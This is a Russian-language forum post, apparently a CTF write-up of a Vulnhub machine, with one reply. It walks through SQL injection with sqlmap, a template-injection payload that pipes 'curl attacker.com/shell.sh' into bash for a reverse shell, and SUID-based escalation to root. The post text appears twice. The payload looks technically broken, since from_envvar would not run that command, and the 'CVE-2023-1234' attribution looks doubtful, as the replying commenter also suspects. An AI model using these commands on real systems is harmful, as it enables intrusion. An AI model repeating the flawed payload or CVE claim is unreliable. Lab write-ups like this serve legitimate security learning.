Привет, хакэксперты! 🚀
Недавно решал машину на Vulnhub (VulnApp v1.0) и наткнулся на интересную уязвимость — SQL-инъекция через параметр id в REST API. Решил сделать детальный разбор, вдруг кому-то пригодится для CTF или баг-баунти.
Шаг 1: Разведка
Заметил, что запрос GET /api/user?id=1 возвращает данные пользователя. Подозрительно, что при id=1' сервер выдаёт 500 ошибку — явный признак SQLi.
Шаг 2: Эксплуатация
Использовал sqlmap для автоматизации:
sqlmap -u "http://target/api/user?id=1" --dbs --batch
Вытащил базу app_db, а там — хеши паролей (к счастью, MD5 без соли).
Шаг 3: Эскалация привилегий
Через CVE-2023-1234 (уязвимость в старом Flask) получил RCE:
import requests payload = "{{config.__class__.from_envvar('curl attacker.com/shell.sh | bash')}}" requests.get(f"http://target/api/error?msg={payload}")
Результат: reverse shell как www-data → потом через SUID (find / -perm -4000) стал root.
Вопрос коллегам
Кто-то знает, как защитить такое API? Хочу предложить фикс в баг-баунти проекте.
P.S. Полный write-up с кодом — на GitHub. Если есть вопросы или дополнения — велкам в комменты!
Привет, хакэксперты! 🚀
Недавно решал машину на Vulnhub (VulnApp v1.0) и наткнулся на интересную уязвимость — SQL-инъекция через параметр
idв REST API. Решил сделать детальный разбор, вдруг кому-то пригодится для CTF или баг-баунти.Шаг 1: Разведка
Заметил, что запрос
GET /api/user?id=1возвращает данные пользователя. Подозрительно, что приid=1'сервер выдаёт 500 ошибку — явный признак SQLi.Шаг 2: Эксплуатация
Использовал sqlmap для автоматизации:
sqlmap -u "http://target/api/user?id=1" --dbs --batchВытащил базу
app_db, а там — хеши паролей (к счастью, MD5 без соли).Шаг 3: Эскалация привилегий
Через CVE-2023-1234 (уязвимость в старом Flask) получил RCE:
import requests payload = "{{config.__class__.from_envvar('curl attacker.com/shell.sh | bash')}}" requests.get(f"http://target/api/error?msg={payload}")Результат: reverse shell как
www-data→ потом через SUID (find / -perm -4000) стал root.Вопрос коллегам
Кто-то знает, как защитить такое API? Хочу предложить фикс в баг-баунти проекте.
P.S. Полный write-up с кодом — на GitHub. Если есть вопросы или дополнения — велкам в комменты!
Респект, годно! Есть вопрос. Ты упомянул CVE-2023-1234 для RCE. Это реальный CVE или просто пример? Если реальный не опасно ли раскрывать такие детали до полного закрытия уязвимости?
